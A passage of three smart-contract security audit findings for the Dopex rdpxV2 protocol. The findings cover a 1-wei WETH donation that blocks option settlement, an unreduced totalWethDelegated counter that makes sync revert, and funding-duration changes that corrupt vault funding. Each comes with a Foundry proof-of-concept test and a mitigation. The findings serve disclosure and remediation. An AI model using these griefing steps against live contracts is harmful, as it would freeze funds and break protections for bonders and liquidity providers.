Dopex - Kow's results

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L199-L205

Vulnerability details

Impact

Ability to settle RdpxV2Core options can be completely bricked by WETH/collateral donation to PerpetualAtlanticVaultLP due to inconsistent balance validation, rendering the lower bound backstop on dpxETH's price ineffective and exposing bonders to significantly more risk than advertised. Premium for the unexercised (but worthless) options will also be continually accounted for in funding of the options vault essentially one sidedly taking funds from bonders (and giving it to option writers) without any value reciprocated.

Proof of Concept

Accounting in PerpetualAtlanticVaultLP is managed through state variables with functions to modify these called by PerpetualAtlanticVault when it interacts with the vault.

Notably, in subtractLoss, it is required that the collateral (WETH) balance of the LP vault is equal to the tracked _totalCollateral - loss. Consequently, a donation of any amount (as small as 1 wei of WETH) that causes a disconnect between WETH balance and tracked balance will completely brick subtractLoss, which is called by PerpetualAtlanticVaultLP in settle, which is called by RdpxV2Core in settle to exercise the perpetual put options which backstop value of the rDPX collateralising dpxETH obtained through bonding.

Consequently, all options minted essentially become worthless and lose their role as a backstop for the price of dpxETH. Additionally, bonders will need to continue paying the premium for options which now do not provide any value, and the core contract will continue providing funding for unexercised options since optionsPerStrike used in calculateFunding to calculate values for totalFundingForEpoch (used in payFunding) will not decrease.

Note that this cannot be fixed because no functions in PerpetualAtlanticVaultLP update the tracked balances using balanceOf and it contains no sync function like the other contracts.

Add the below code to testIntegration in tests/rdpxV2-core/Integration.t.sol replacing the original test from the line with rdpxV2Core.settle(ids). It should pass.

    // setup dummy user account
    weth.transfer(address(20), 1000e18);
    rdpx.transfer(address(20), 1000e18);

    vm.prank(address(20));
    weth.approve(address(rdpxV2Core), type(uint256).max);
    vm.prank(address(20));
    rdpx.approve(address(rdpxV2Core), type(uint256).max);
    vm.prank(address(20));
    weth.approve(address(vaultLp), type(uint256).max);

    // donate to brick
    vm.prank(address(20));
    weth.transfer(address(vaultLp), 1);

    // check desync
    uint256 lpWethBalance = weth.balanceOf(address(vaultLp));
    uint256 lpTotalCollat = vaultLp.totalCollateral();
    assertEq(1, lpWethBalance - lpTotalCollat);

    // check bricking on option exercise
    vm.expectRevert("Not enough collateral was sent out");
    rdpxV2Core.settle(ids);

    // get more options, increase LP vault active collateral
    vm.prank(address(20));
    rdpxV2Core.bond(1e18, 0, address(this));
    vm.prank(address(20));
    rdpxV2Core.bond(1e18, 0, address(this));

    // check desync remains
    lpWethBalance = weth.balanceOf(address(vaultLp));
    lpTotalCollat = vaultLp.totalCollateral();
    assertEq(1, lpWethBalance - lpTotalCollat);

    // attempt exercise again
    vm.expectRevert("Not enough collateral was sent out");
    rdpxV2Core.settle(ids);

    // decrease price of rdpx to 0.15 weth (25% OTM)
    rdpxPriceOracle.updateRdpxPrice(15e5);

    // attempt exercise of new options
    uint256[] memory newIds = new uint256[](2);
    newIds[0] = 8;
    newIds[1] = 9;
    vm.expectRevert("Not enough collateral was sent out");
    rdpxV2Core.settle(ids);

    // deposit into lp vault to increase totalCollateral
    vm.prank(address(20));
    vaultLp.deposit(5e18, address(20));

    // verify desync remains
    assertNotEq(weth.balanceOf(address(vaultLp)), vaultLp.totalCollateral());

    // attempt exercise again
    vm.expectRevert("Not enough collateral was sent out");
    rdpxV2Core.settle(ids);
    vm.expectRevert("Not enough collateral was sent out");
    rdpxV2Core.settle(newIds);

Tools Used

Manual Review

Recommended Mitigation Steps

Consider validating the collateral sent out by comparing WETH balances of the LP vault before and after in the settle function instead.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L975-L990

Vulnerability details

Impact

ReLP and AMO operations will eventually (or can maliciously) be bricked due to incorrect accounting of totalWethDelegated causing sync to always revert, preventing the use of the stabilising market operation mechanisms for dpxETH (via management of rDPX price) and exposing it to unmanaged volatility.

Proof of Concept

Users (the delegates) are allowed to supply their WETH as collateral to support the delegate bonding functionality where users with only rDPX can utilise delegate collateral to bond for a fee. totalWethDelegated keeps track of the total amount of delegate collateral available for bonding. It is increased when users add delegate collateral and decreased when this collateral is bonded.

However, it is not decreased when delegates withdraw their unused WETH collateral. Consequently, totalWethDelegated will be greater than the actual funds available for delegate bonding, with withdrawals of unused WETH increasing this difference overtime (this could also be achieved maliciously through repeated delegations and withdrawals). An underflow issue occurs due to the subtraction of totalWethDelegated from the contract's balance of WETH in sync, which is called after AMO and reLP operations to synchronise token balances. When totalWethDelegated exceeds the WETH balance (and continues growing through either normal use or malicious delegation/withdrawals), sync will revert bricking the stabilising mechanisms enabled through AMO (specifically the UniV3 AMO, though the UniV2 AMO should also call sync after it's operations) and reLP operations which manage the price of rDPX which collateralises 25% of dpxETH, and are consequently significant contributors to the pegging mechanism.

Note that even if WETH is donated to resolve the block, the accounting of WETH reserves will still be completely wrong, and sync will eventually revert again as totalWethDelegated increases (through normal use or malicious intent).

Add the following code to the end of testIntegration in tests/rdpxV2-core/Integration.t.sol. It should pass.

    // get current core weth balance
    uint256 coreWethBalance = weth.balanceOf(address(rdpxV2Core));

    // delegate, then withdraw to increase totalWethDelegated (this is not realistic, just to show the issue)
    rdpxV2Core.addToDelegate(coreWethBalance, 20e8);
    uint256 wethDelegatedBefore = rdpxV2Core.totalWethDelegated();
    rdpxV2Core.withdraw(2);

    uint256 wethDelegatedAfter = rdpxV2Core.totalWethDelegated();
    // check totalWethDelegated isn't reduced
    assertEq(wethDelegatedBefore, wethDelegatedAfter);

    // check that totalWethDelegated exceeds weth balance, and will cause underflow
    assertGt(wethDelegatedAfter, weth.balanceOf(address(rdpxV2Core)));

    // attempt sync
    // should revert with underflow panic
    vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11));
    rdpxV2Core.sync();

Tools Used

Manual Review

Recommended Mitigation Steps

Consider subtracting the unused WETH amount withdrawn from totalWethDelegated in withdraw.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L237-L250 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L462-L524

Vulnerability details

Impact

Changing the funding duration could brick PerpetualAtlanticVault and inflate funding sent to the LP vault in case of increase, and cause loss of incentive rewards for put option writers in case of decrease.

Proof of Concept

nextFundingPaymentTimestamp() is consistently used to determine the end of the current epoch, calculated by genesis + latestFundingPaymentPointer * fundingDuration where latestFundingPaymentPointer is the current epoch (1 indexed) and genesis is the timestamp from which funding payments to incentivise put option liquidity begins. If fundingDuration is changed, the perception of the duration of all epochs changes causing inconsistencies in the calculation of funding amounts.

For context, updateFundingPaymentPointer accounts for whole epochs before the current one which haven't had funding provided transferred to the LP vault (tracked by lastUpdateTime), incrementing latestFundingPaymentPointer until nextFundingPaymentTimestamp() is the timestamp of the end of the current epoch (the first epoch timestamp after block.timestamp). updateFunding calls updateFundingPaymentPointer and also transfers funding for the current epoch based on how much time has elapsed since lastUpdateTime.

Consider the case where fundingDuration increases such that nextFundingPaymentPointer() > block.timestamp. Assume funding accounting is updated to a block.timestamp a few minutes ago which was somewhere in the middle of the epoch as calculated before the fundingDuration increase. Since nextFundingPaymentPointer() > block.timestamp, the logic in updateFundingPaymentPointer is skipped and latestFundingPaymentPointer remains unchanged. In updateFunding, currentFundingRate will hold the funding rate for the epoch that was calculated for the previous (lower) fundingDuration. Consequently, funding will continue to be paid at the current rate (which is for a shorter duration) until the new epoch ends (which could be very far in the future depending on latestFundingPaymentPointer * newFundingDuration) resulting in put option writers receiving more incentives than they should and potential bricking of PerpetualAtlanticVault due to attempted transfers of funds it doesn't have.

If fundingDuration decreases, nextFundingPaymentTimestamp will decrease (since the other variables remain unchanged) and could fall below the last recorded lastUpdateTime. If the decrease is large enough or timed close to the end of the current epoch so that block.timestamp >= nextFundingTimestamp(), latestFundingPaymentPointer will still be incremented without the execution of the transfer logic inside the if block. Consequently, the remaining funding to be distributed for what should have been the current epoch is skipped since fundingRate is 0 inside updateFunding. Put option writers lose incentives they were expected to earn.

Add the following tests to tests/rdpxV2-core/Integration.t.sol. They should pass.

  function testFundingDurationDecrease() public {
    testIntegration();

    // skip some time to allow reward drip
    skip(5 days);

    // drip rewards to lp vault
    uint256 wethBalanceBefore = weth.balanceOf(address(vault));
    vault.updateFunding();
    // ensure rewards are transferred
    assertLt(weth.balanceOf(address(vault)), wethBalanceBefore);

    // update fundingDuration
    // nextFundingPaymentTimestamp decreases
    uint256 epochEndTimestampBefore = vault.nextFundingPaymentTimestamp();
    assertGt(epochEndTimestampBefore, block.timestamp);
    vault.updateFundingDuration(6 days);
    assertLt(vault.nextFundingPaymentTimestamp(), block.timestamp);

    // attempt to drip rewards after a day
    // lack of transfer of weth shows reward rate is 0 and remaining rewards to drip (for the 7 - 5 = 2 days) have been skipped
    skip(1 days);
    wethBalanceBefore = weth.balanceOf(address(vault));
    vault.updateFunding();
    assertEq(weth.balanceOf(address(vault)), wethBalanceBefore);
  }

  function testFundingDurationIncrease() public {
    testIntegration();

    // skip some time to allow reward drip
    skip(5 days);

    // drip rewards to lp vault
    uint256 wethBalanceBefore = weth.balanceOf(address(vault));
    vault.updateFunding();
    // ensure rewards are transferred
    assertLt(weth.balanceOf(address(vault)), wethBalanceBefore);

    // update fundingDuration
    // nextFundingPaymentTimestamp increases
    uint256 epochEndTimestampBefore = vault.nextFundingPaymentTimestamp();
    vault.updateFundingDuration(8 days);
    assertGt(vault.nextFundingPaymentTimestamp(), epochEndTimestampBefore);

    // skip past original end of epoch
    skip(epochEndTimestampBefore - block.timestamp + 1);
    // vault has funded more than it should have
    vm.expectRevert("ERC20: transfer amount exceeds balance");
    vault.updateFunding();
  }

Tools Used

Manual Review

Recommended Mitigation Steps

Consider refactoring the calculation of past epoch durations to be independent of changes to fundingDuration. Otherwise, calculate the remaining funding before changing fundingRate and recalculate the fundingRate for the current (new) epoch after updating fundingDuration (and the pointer).

Assessed type

Other